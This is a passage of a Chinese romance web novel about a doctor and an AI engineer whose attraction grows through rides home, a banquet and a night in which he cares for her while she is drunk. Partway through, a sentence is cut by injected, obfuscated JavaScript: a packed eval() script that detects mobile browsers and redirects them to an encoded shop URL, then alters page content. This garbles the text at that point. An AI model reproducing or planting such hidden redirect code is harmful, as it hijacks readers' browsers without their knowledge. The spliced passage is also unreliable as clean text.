“科室组织的活动。”颜简初又不经意同他相贴,短袖和衬衫的面料轻薄柔软,两人气息和温度交汇在一起,他的体温更高,某些轮廓可以穿透衣服布料,刺激兴奋神经。 杨楚白的呼吸也跟着沉了些,全身热气蒸腾,推动血流加快。 “杨楚白。”颜简初第一次叫他的名字。 他后知后觉:“怎么了?” 颜简初轻轻地笑:“你身上好热。” 杨楚白怔了怔,摸不透她的意思,但他有种恶念被看穿的羞耻,他不敢低头,声线却一贯平稳:“你要下来吗?” “不要。”颜简下巴抵在他的肩膀,歪头看着他,湿热的气息像细小的沙粒,从耳骨蔓延到脖颈,既麻又痒,让人很难招架。 “快到了,你再忍忍。”杨楚白极力忍耐,只希望没被她看穿。 “嗯。”颜简初抬眼看见底下露出一点明亮的灯光,反而感觉空落落的,也许是情绪波动后激素的影响,她有点贪恋他身上的温度和气味,产生再正常不过的生理反应。 颜简初无厘头地问:“你知不知道?” “嗯?” “你真的很耐看。”她毫不吝啬地夸奖。氛围使然,她今晚说了很多怪话。 杨楚白脚步悄然停下,稍微偏头发现她正看着自己,准确地说是观察。两人挨得很近,鼻尖快要碰在一起,他的目光在她脸上缓缓流淌,第一次这个距离,很多东西都被放大,又涌现一些新奇的感觉。 她化了淡妆,眼睫轻轻扑闪,传递出某种隐晦的情感,嘴唇轻微干燥起皮,口红颜色染在上面,水光闪闪,她应该刚舔了唇,脸颊是很淡的粉色。 “谢谢。”最后他移开目光,一番自我拉扯后,只说了这句话。 颜简初笑了笑,心底莫名闪过一丝的失落,然后他们都不说话了。 快到山下时,颜简初让他放自己下来,杨楚白照做,她把外套搭在手肘,默默往下走。 还有六节台阶,颜简初看见江质北跑上来,于是先停住,说:“衣服我洗完和伞一起还你,到时候微信发个地址,我邮寄过去。今天多谢你的帮助,我刚才说了很多胡话,如果有冒犯,我在这里向你道歉。” 杨楚白听出她的客气,心里踏实了些,同时又感到烦躁,两种矛盾的念头互相打架快要把他撕成两半。 “没关系,”他平静道,“我记性不太好,你不用担心。” 颜简初微愣,他表情很严肃,像是很认真地撇清关系,尽管本来也没什么实质进展。 “那最好不过了。”她微笑着说。 江质北走上来没觉察出异常,他的心思全在颜简初身上,确定她真的没事后才注意到旁边还站着个男人,他觉得眼熟,却又说不出名堂:“我们是不是在哪里见过?” “可能是某个医院吧。”杨楚白说。 江质北没在这个问题上深究:“你刚下来肯定也没吃饭,我们点了素斋,一起去吃点吧。” 颜简初看出他在摇摆,轻拍了下他的手腕:“走吧,不用客气。” 杨楚白不想辜负好意,而且他的确饿了,于是点头说好。 夜晚时分灯光驱走黑暗,大家摆起小桌椅,端着菜盘四处奔走,场面十分热闹。江质北带他们过去,好几张桌子拼凑成长桌,大家招呼他们快入座,刚好只剩三个连在一起的位置。 颜简初被安排坐在中间,江质北帮她把衣服放旁边,然后熟稔地坐在右边,只剩最后一个座位,杨楚白跨步坐下。 江质北打了三碗地瓜粥,颜简初负责传递。 “谢谢。” “不客气。” 颜简初拿起筷子夹了个炸糍粑,外面很脆,里面是芋泥夹心,不会很甜,吃了几口她又喝粥,江质北跟她说那道素面筋很不错,她说糍粑也还行。 江质北吃饭间隙跟她聊天:“这是你新认识的朋友吗?之前都没听你提过。” “刚认识不久。”颜简初低声说。 “那他吃得来素斋吗?”江质北问。 颜简初转头看向左边,思考片刻,问他:“这些菜你吃得惯吗?” 杨楚白说可以,他不怎么挑食。 “那就好。”说完她又继续同江质北聊天,有点心不在焉。 瞥见他的碗空了,颜简初说:“我帮你盛。” 杨楚白想拒绝也没办法,她的手已经悬空示意,他把碗递给她,指尖不小心触碰她的,像有电流窜过似的,他退开一点距离:“麻烦了。” “没事。”颜简初盛好一碗放他桌上,好像什么也没发生,拿出手机解锁,各种各种的消息弹出来,很多都是小广告,只有几个比较重要。 江质北低头时她正在玩小游戏,他问:“你吃饱了吗?” 颜简初点头:“我喝了两碗粥。”关卡中途她把手机扔给江质北,“我去趟卫生间,你帮我通关一下。” 江质北拿着手机说好。 卫生间回去有一段距离,颜简初洗完手站在外面吹风,衣服上的湿迹已经吹散了很多,发丝被风带到脸上,她撩了一下然后用发绳扎起来。 杨楚白出来洗手,颜简初站在前面,杨楚白只要稍抬头就能看见,她穿的白色针织衫有点透,能清晰看见里面的肩带,后背那种柔软的触感在脑中浮现,他又打开水龙头用力地洗手。 “你怎么一直站在这里?”杨楚白走过去问。 颜简初听声音知道是谁,慢半拍转身看见他,说:“那边有点热,你不觉得吗?” “有一点,”杨楚白说,“那边人比较密集。” 颜简初没继续这个话题,她看到前面的寺庙,目光缓缓落回他脸上:“听说这边祈福很灵验。” “是,”杨楚白问她,“你要过去看看吗?” 颜简初摇头:“我不信这些。” 她没那么自信,并不觉得自己会被眷顾。换言之,如果许愿真的能被听见,世上怎么还会有那么多的苦难呢。 杨楚白没说什么,问她:“你上次摔倒的伤怎么样了?” “已经好了。”她摊开手,还残留一点细小的痂。 “那就好。”他说。他的手机忽然响起,他拿出来看一眼,是工作电话。 颜简初了然:“那我先回去了。” “好。”他滑绿键接通,陈语仝说模型调整效果不佳,回答蠢得像个人工智障,杨楚白了解基本情况后说待会回去马上处理。 颜简初回到位置,江质北把手机还给她。 “通关没?”她笑着问。 “嗯嗯。”江质北眼睛亮亮的,有种办成大事的骄傲。 手机解锁屏幕停留在通关页面,她笑了笑:“谢啦。” “小事。”江质北说。 休息了十分钟,清点人数准备返程。 杨楚白打完电话回来,颜简初问他打算怎么回去。 他下午本计划走上来,中途有个大爷骑摩托车送货,杨楚白提醒他掉了袋米,大爷停车重新捆绑后顺路载他一程。 如今这个点,走下去肯定不行,他开始认真思考这个问题。 颜简初看他不说话,直接道:“如果没安排就跟我们一起下去吧,我们包了车,还有个空座。” “好,我刚才正为这事发愁,”杨楚白眉宇舒展,“谢谢你。” “应该的。”颜简初说。 返程时江质北跟一位晕车的同学换了座位,没跟颜简初坐一块。那个同学拉着朋坐旁边,车内位置频繁变动,颜简初排在后面,上车时剩两个相连座位,她走进去靠窗坐。 杨楚白最后上来,仅剩她右边的空位:“我可以坐这吗?” 颜简初视线从窗景离开,看 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她真的很干净。从见她的第一眼起他就这么觉得,这种特质吸引着他,鬼使神差地跟着走进那家面馆,那身纯白的连衣裙他永远不会忘记。人总是向往一些自己没有的东西,他每日处在崩溃边缘,各种压力大到快要把他吞噬,不作为的上司,几乎不可能完成的项目,日常的贴脸赔笑……他好像处在肮脏阴暗的沼泽里,双手挣扎着渴望逃离,但只会让自己越陷越深。 她真的太干净了。杨楚白想靠近,可理智又告诉他不能这样,自己深处阴暗就算了,怎么能再拉别人下水,他害怕玷污她的白裙。 一只耳机坠落把他拉回现实,颜简初眉头轻皱,杨楚白轻轻往里面挪了点,然后右手托着她的头稍稍上移,见她不再蹙眉,他缓缓地松了气。 车过减速带突然颠簸两下,颜简初被震醒了。睁开眼睛,她发现自己正枕着杨楚白的肩膀,音乐只在左耳循环播放,另一只耳机掉下去被他抓在手里。 他仍闭眼,似乎还在睡觉,颜简初不自觉放慢呼吸,低头探查耳机情况。他的手虚虚握拢,指尖与手掌留有一厘空间,她试着拽住上面的线,轻轻绕进缝隙然后稍用力牵扯,扯了两下无果,准备再试最后一次,手掌忽然摊开,耳机就在掌心。 她拿起耳机,抬头发现杨楚白正垂眸看向自己。颜简初不知道他什么时候醒的,也不知道他看了多久。此时车内忽地热闹起来,时不时传来一阵哄笑。 颜简初向他道歉:“不好意思,刚才冒犯你了。” 杨楚白说没关系,撒谎道:“我刚才也睡着了。” 既然睡着了,他应该什么也没看见,颜简初合理推断,悬在心中的石头终于落地。 车内氛围逐渐活跃,时间似乎在加速流逝,没多久便抵达医院,所有人陆续下车。 江质北问颜简初接下来有什么安排,颜简初说回家睡觉。 “需要搭我的车吗?”江质北继续问。 “不用,”颜简初转了转钥匙,说,“我今天开了车。” “那行,我先走了,路上注意安全。”江质北挥手道别。 颜简初往外走两步看见杨楚白,他正低头回信息,她在旁边站了一会儿,问他:“你怎么回去?” “地铁。”他说。 颜简初给他另一个方案:“我可以载你一程。” “谢谢,”杨楚白委婉拒绝:“但我还是坐地铁吧。” 颜简初看他心意已决,也不强求:“行,那我先走了。” “好。”他没有任何挽留的意思。 颜简初真有点累了,在车上发了会呆,打算抄近路回家。从医院驶出不久,她看见杨楚白正站在前面的公交站台,喃喃道:“他不是坐地铁吗,怎么在那?” 车缓缓停下,她降下车窗,问:“你在等公交?” 杨楚白看见是她,莫名紧张起来:“嗯,地铁站太远了。” 颜简初不能停太久,直说:“你上车,我送你回去。” 杨楚白听出来,这几乎是命令的口吻,跟平常的她有点出入,他表情也变得认真:“我家有点远。” “既然远,为什么不搭我的车?”颜简初挑挑眉,笑道,“怎么?难道公交车比我快?” 后面有人开喇叭提醒,杨楚白说不过她,也想不出别的理由拒绝,只能拉开车门上车。 颜简初把副驾驶的包和衣服扔去后面,给他腾位置。 她点开车载屏的导航,问:“地址。” 杨楚白系好安全带,说:“河新湾,北坡路227号公寓。” 输入地址,系统自动规划路线,全程28公里,全程大约需要43分钟。 颜简初瞥了眼时间,她估计九点多才能到家。 车台上摆了几个手办,他不太了解这些东西,只觉得蛮可爱的,后视镜挂件偶尔左右摆动,飘散着淡淡的花果香,有点像她身上的味道,还挺好闻。 前面红灯,她停下车,指尖轻敲方向盘,问:“上次相亲,你说你是不婚主义者,是代表你还是你朋友啊?” 杨楚白愣了愣,他都快忘了,没想到她还记得。 “我朋友。”他反问,“你呢?” 绿灯亮起,颜简初转弯直行,装没听见:“什么?” 杨楚白没那么好糊弄,也不想轻易揭过这个问题:“我记得你也说了你是不婚主义,你又是代表谁呢?” 颜简初觉得他有点执着,勾唇笑笑:“朋友。” “那很巧了。”杨楚白微笑说。 颜简初认真开车,偶尔抬眼看后视镜,他正闭着眼,像在睡觉,她就没再说话。 因为公寓比较偏,路段来往车辆很少,颜简初慢慢提速,周围树影一闪而过。 她的车技很稳,杨楚白真没见过几个女人能把车开这么好。淡淡的香气萦绕在鼻尖,他很久没有这种放松感,一不小心就睡着了。 再次睁眼,窗外景象他再熟悉不过,车停在公寓下面的马路边,他扭头看见颜简初正闭眼揉按太阳穴。 10. 第 10 章 拿出手机,比预计抵达时间晚了二十分钟。 杨楚白担心她要很晚才能到家:“你怎么不叫醒我?” 颜简初听见他的声音停了动作,掀起眼皮发现他正看着自己,顿了顿:“就……希望你多睡一会儿。” 她的声音里有种难以掩饰的疲惫,杨楚白愧疚又自责,他真不该睡过头:“那你自己怎么办?” “我在大巴上睡了二十分钟,不影响的,”她解了门锁,说,“你快回去洗漱休息,我也要返程了。” 杨楚白有点心疼,像有刺扎在里面拔不出来。他无可奈何,解开安全带卡口,下车前说:“你到家了给我发信息。” 颜简初低声说好。 车门关上,颜简初调头离开。杨楚白一步三回头,车很快消失在视野中,他在原地站了片刻,心情复杂。 工作群里消息很多,他点开一条条翻阅,走到公寓楼下时,他看见前面有个女人,身穿黑色西服,正蹲在地上喂猫,这一带有很多流浪小动物,那只猫估计也是来这里觅食,他不予理会,径直往前走。 “欸,你是不是203的租户啊?” 杨楚白被叫住,这才回头,那个女人笑意盈盈地看向自己,杨楚白记得她,是楼上那个人。 他嗯了声,平静问:“有什么事吗?” “害,没什么,就是看你眼熟,想打个招呼,顺便交个朋友。”女人摆手笑了笑,又问,“现在才下班?” “算是吧,你呢?”杨楚白出于礼貌问候。 “我刚加班结束,领导不做人,真没办法,”她拍了拍了拍手,站起来摸出一盒烟和打火机,拿出一根后往他那递,“抽不抽?” 她身上的香水味很刺鼻,杨楚白很轻地蹙起眉头:“不抽。” “我还以为你们男人都喜欢这种东西。”她把烟含在嘴里用打火机点燃,抽两口然后吐出烟圈,“我男朋友就很喜欢这款。” 杨楚白应付几句,同她保持正常的社交距离:“我还有事要处理,先上去了。” “还不知道你叫什么名字。”她站在后面喊。 他回头说了姓名,作为交换,自然也问了她。 “章欣苒。”她说。 杨楚白上楼,倒水喝两口,立马打开电脑办公,问题有些棘手,他暂时没有思路,于是上网查找相关论文,企图借此获得灵感,时间缓缓流逝。 他正看得入神,电脑弹出消息和提示音,他扫了眼,是颜简初发的,马上点击进入聊天页面,她发的是语音。 颜:「我到家了,先去洗漱,你晚上也早点休息」 语音里掺杂了关门声和拖鞋的趿拉声。 他指尖敲击键盘,删删减减,五分钟后才发送:「到家就好,晚安」 她没再回复。 杨楚白看了很久论文,眼睛发酸,右下角时间显示凌晨一点半,已经过去了五个小时,仍毫无收获,情绪逐渐变得消极。 他打算再找半小时,结果依旧徒劳,就在他准备关电脑时,最底下一篇文章吸引了他的注意,里面的网络结构给他带来极大灵感,立马把文献发在群里,瞬间兴奋得睡意全无。 他最终找到了一个巧妙的提示词模板,问题成功解决,这时窗外响起鸡鸣声,天色是比较深的蓝,他低头看,已经五点多了。 / 周三晚上颜丽霞组织了一场师门聚会,发消息让她一起过去吃饭。 聚会到场的人很多,有些是颜丽霞的朋友,还有些是以前的学生,两张大圆桌刚好坐满。颜简初昨天晚上值夜班,下午没休息好,身体不太舒服,还是很努力地维持笑容,时不时还要喝半杯酒。 大家聊的话题很杂,也很跳跃,上一刻还在回顾学生时代勤学苦读、奇葩八卦,下一秒就高谈科研进展、国际局势,时而欣喜,时而悲愤,好像有说不完的话。 实在找不到话题则开始谈论她的婚嫁大事,有些人会很好心地提醒她珍惜青春,好似过了这个年龄就会孤独终老、郁郁而终,还有些当起了媒婆,自产自销。 颜丽霞始终觉得自己的婚姻是失败的,所以不会在这方面对她强行要求,而是小声道:“如果这里面有你中意的,可以试着相处看看。虽然品行有待考量,但家庭条件都和我们相当。” 颜简初没给出明确答复:“我会考虑考虑。” 另一桌坐的都是学生,氛围稍微活跃一些,她看过去,吴宇宗正巧坐在她斜对面,中间隔着两个人,他看上去玩得挺开。 视线相接,两人仅有短暂的眼神交流。 颜简初在聚会后半程出去透气,推开门吹了下风,顺便去卫生间洗手,酒没把控好量,她的脸比平常更粉。 她从卫生间往外走,吴宇宗正巧从对面出来,看着她的脸,问:“你是不是喝多了?” “没有。”颜简初只是晕,暂时还没到醉的程度。 吴宇宗怕她逞强,过去扶她:“你房间在哪,我先送你上去。” 颜简初看他一副斯文模样,挣开他的手,皱眉道:“你别碰我。” 她离开后暂时不想回去,索性搭电梯去了楼上。 吴宇宗接完电话出来,走廊空无一人。 颜简初左转后倚着护栏往下看,进出的人很多,从这个高度看,人小得像蚂蚁一样。 走廊尽头传来一点动静,是两个人的说话声,她转头见一个女人正跟杨楚白道谢:“上次那事多亏你了,否则我肯定会被领导骂死。” “问题解决了就好。”杨楚白察觉前面有道人影,抬眸看见是她,唇边勾起很浅的笑。 女人说下次请他吃饭,杨楚白拒绝道:“这段时间都比较忙,实在抽不出时间。” “那我明天请你们组喝咖啡,这可以吧?” “没问题。” 杨楚白与同事道别后直走来到她身边,闻到一丝酒气,垂眼问:“你这是喝了多少酒?” 颜简初仰头看着他,弯眼笑:“一点点。” 他用手背去贴她的脸颊,稍微有点烫:“你怎么在这?” “我妈在这聚餐,”颜简初感觉挺舒服,抓着他的手又蹭了蹭,轻声问,“你呢?” “同学定亲宴。”杨楚白看她已经醉了几分,待在这不太安全,问,“你有定房间么?我送你回去休息。” 颜简初蹙眉思考后回答:“没有欸。” 杨楚白:“身份证带了吗?” 颜简初依旧说没有。 “我先扶你去我房间,可以吗?”杨楚白问。 她欣然同意,眼睛亮亮的:“可以呀。” 杨楚白摇摇头,觉得她真的醉了。 扶她进电梯,他的房间在25楼,期间没人进来,只有他们两个人,没有中途停滞,电梯很快到达相应楼层。 电梯门打开,颜简初缠住他的手臂,头埋在他颈部,杨楚白拍了拍她的肩,她轻轻哼了几句,抓得更紧。 她不配合,杨楚白只能把她抱起来。颜简初身上很香,有点像果调,淡淡的很好闻,他很喜欢她的味道,总忍不住低头凑近一点。 房卡刷门后放进卡槽,他用脚关门,借窗户透进来的光把她放到床上,帮她脱鞋,然后盖好被子,走到另一边拉了盏床头灯。 他曲腿坐在地上,拿出手机看了一会儿,又起身烧了壶开水,有人在这时给他打电话,他拿着房卡出门。 床头手机忽然震动,铃声响了五秒颜简初才去拿:“妈。” 颜丽霞问她去哪了,“小吴说他刚才看见你,还以为你回来了。” “我有点晕,先上来了。”颜简初声音很闷,头也胀。 颜丽霞叮嘱她好好休息,简单交代几句然后挂了电话。 她把手机扔在旁边,觉得热,又把被子掀开,过两分钟,还是很热。 她坐起来看房间没人,索性把开衫脱下来扔在地上。 杨楚白回来时看见一番乱糟糟的场景,被子半边坠在地上,还有衣服。他的视线缓缓滑动,她平躺在床上,吊带长裙盖过小腿,右手手背贴着眼睛,露出半张绯红的脸。 他默默把衣服捡起来,被子捞回床上,再次帮她压好。 颜简初又把被子踢开,右手抓住他的手腕坐起来,睁开眼看着他,眼神里似乎带着雾气,朦朦胧胧的:“我不想盖。” 杨楚白哄她:“不盖容易着凉。” 颜简初蹙着眉,一脸认真,杨楚白以为她在思考,过了半分钟,她说:“我想喝水。” 杨楚白双手叉腰,垂眸看着她,没有办法地笑了笑。 他用开水把杯子烫一遍,热水和冷水兑在一起,倒出来试了试温度,端过去坐在床沿喂她,她喝了两口就不要了,白色杯口留下一抹殷红。 颜简初感觉大脑越来越不受她控制,躺在床上昏昏沉沉的总感觉像梦一样。 杨楚白把杯子轻放在床头柜,打算等她睡着后离开。 他起身后发现自己的手被拽住了。 颜简初迷迷糊糊地睁眼,问:“你要走了么?” “没有,我去拿瓶水喝。”他说。 颜简初还是不放心,如果这是梦,他走了就一定不会再来。 “你能不能不要走,”她攥得更紧了,眼眶湿润,仿佛下一秒就会哭出来,“我不想被丢掉了。” 杨楚白猜她是在说梦话,但胸腔像被某种情绪充斥着,让他感到呼吸困难。 “我不走了,”杨楚白摸摸她的发梢,然后直接坐在地上,安抚她,“困了就睡吧,我在这陪你。” 颜简初闭眼睡着后,呼吸逐渐平缓,他把手轻轻抽出来,床头灯调成最低档,起身去前面拧开矿泉水一次性喝了半瓶,将柜子里的面巾纸用热水打湿再拧干,又重新坐在床头帮她擦手放进被子里。 杨楚白把她脸上的头发撩开分到两边,就这样静静地看着她,好像怎么样都看不腻,每个角度都很喜欢。 颜简初第二天很早醒,窗帘拉得紧一丝光线透不进来,她伸手去摸手机,显示早上六点。 房间很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126128|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗,屏幕的光亮让她注意到旁边还有个人。她记得昨晚遇见了杨楚白,然后回房间,好像颜丽霞还打了电话,她连忙查找通话记录确认没错,但其他的她就记不清了。 她转身按下床头灯最低档开关,偷偷地观察他,指尖轻轻触碰他的睫毛。 杨楚白睡得浅,听见她的动静就醒了,只是想再眯一会儿。 颜简初看见他眼皮动了下,知道他在装睡,小声问:“我是不是吵到你了?” 杨楚白抓住她的手腕压到床上,睁开眼睛说没有。 她没穿开衫,长发随意披散,凌乱地搭在肩头,遮盖锁骨,衬得肤色更白,从他的角度看过去,有些东西变得一清二楚,他瞥开视线,问:“你昨晚睡得怎么样?头疼不疼?” “挺好的,不疼,”颜简初掀开被子下床,拉开窗帘,扯过手腕的发绳把头发扎成丸子,说,“我准备去洗澡,你要不要去床上休息一下,怕你坐地上没睡好。” “不用了,我洗漱完去楼下打包早餐,”杨楚白捡起地上的瓶子,问她,“到时候拍照给你,看看有什么想吃的。” “好。”颜简初拿起旁边的一次性浴巾走进淋浴间,反手把玻璃门拉紧。 流水砸在瓷砖上发出噼里啪啦的响声,像珠子掉了一地,滚进杨楚白的心房,散落各处,想整理又无从下手,想忽视又那么明显,怎么样都不是办法,害他备受折磨。 一捧冷水泼在脸上,稍稍有点灭火的效果,转身抽了张纸巾擦脸,他拿起手机轻叩玻璃门,说:“我现在下去。” “知道了。”她说。 杨楚白回来的时候,颜简初刚吹完头发,把吹风机放回原处。 早餐被杨楚白放在方桌上,她喝了半杯水,然后坐下剥鸡蛋。 “昨天我喝得有点多,很多记忆都断片了,应该没做很出格的事吧?”颜简初问他,心里没底。 杨楚白看她一眼,低头沉思片刻,然后说没有。 “那就好,”颜简初吃完鸡蛋,拆开牛奶,问,“你待会是直接去公司?” 杨楚白放下咖啡杯:“对。” “我也要去医院上班,”她拿一个烤面包,边撕边吃,“你公司在哪?我送你过去。” “东江口那边。”杨楚白说。 “正好顺路,待会一起走吧。” “听你的。” 吃完早餐,颜简初把各种包装袋塞进一个塑料袋,杨楚白拦住她:“这些我来弄,你去整理一下。” 颜简初慢半拍松手:“哦,好。” 她拿起杯子用剩下的水漱口,接着走到床边捡起衣服穿上,检查一遍没有遗漏,两人一同出门。 杨楚白办理退房时,颜简初跟在旁边,从口袋里拿出房卡和身份证,也办退房。 杨楚白瞬间明白,神色如常,没说什么。 办完手续乘电梯去停车场,杨楚白站在旁边等她把车开出来。 车很快停在他面前,杨楚白上车系好安全带,行驶几分钟后,等红灯时,他挑眉道:“我记得你昨晚说你没有房卡和身份证。” “啊?”颜简初故作惊讶,一点没有谎言被戳破的羞赧,“我是那样跟你说的吗?” 杨楚白转头看她,点点头,嗯了一声。 “我不记得了,”颜简初无辜,“可能那时候就醉了吧,对好多事都没印象。” 杨楚白笑了笑,想给她颁个奥斯卡:“忘性这么大,以后还是少碰酒。” 颜简初启动车子:“我很少喝,昨天是例外。” 杨楚白想起那次酒吧偶遇,合理怀疑她这句话的可信度。 为了先送杨楚白去公司,颜简初绕了点远路。由于他们出发早,路上车暂时不多,她开得也快,没多久就到了。 “我走了,”杨楚白解开安全带,“你路上小心。” “嗯,工作顺利。” 杨楚白笑:“你也是。” / 颜简初下班后去干洗店拿衣服,回家经过驿站同雨伞一起打包寄出。 她拍了张物流条形码,点开微信往下翻了好一会儿才找到人,选择图片点击发送。 颜简初:「已经寄出去了,地址填的是你公寓那边。」 退出页面,陆欣然发来语音:「宝,我今天意外抽中两张电影票,好像是部小制作文艺片,我不看电影,所以来问你有没有兴趣」 陆欣然:「时间在后天晚上八点,提前半小时检票,我记得你那天值修,考虑一下?可怜.jpg」 陆欣然:「图片」 颜简初点开图片扫一眼,回复:「不了吧,这种题材我多半会睡着」 陆欣然:「你朋友当中有没有喜欢这种类型的?」 颜简初翻开通讯录逐一浏览,始终找不到合适人选,刚想回复,这时杨楚白发来消息。 %:「好的」 %:「麻烦你了」 颜简初灵光一闪,把陆欣然的图片转发:「后天晚上有场电影,你有兴趣吗?」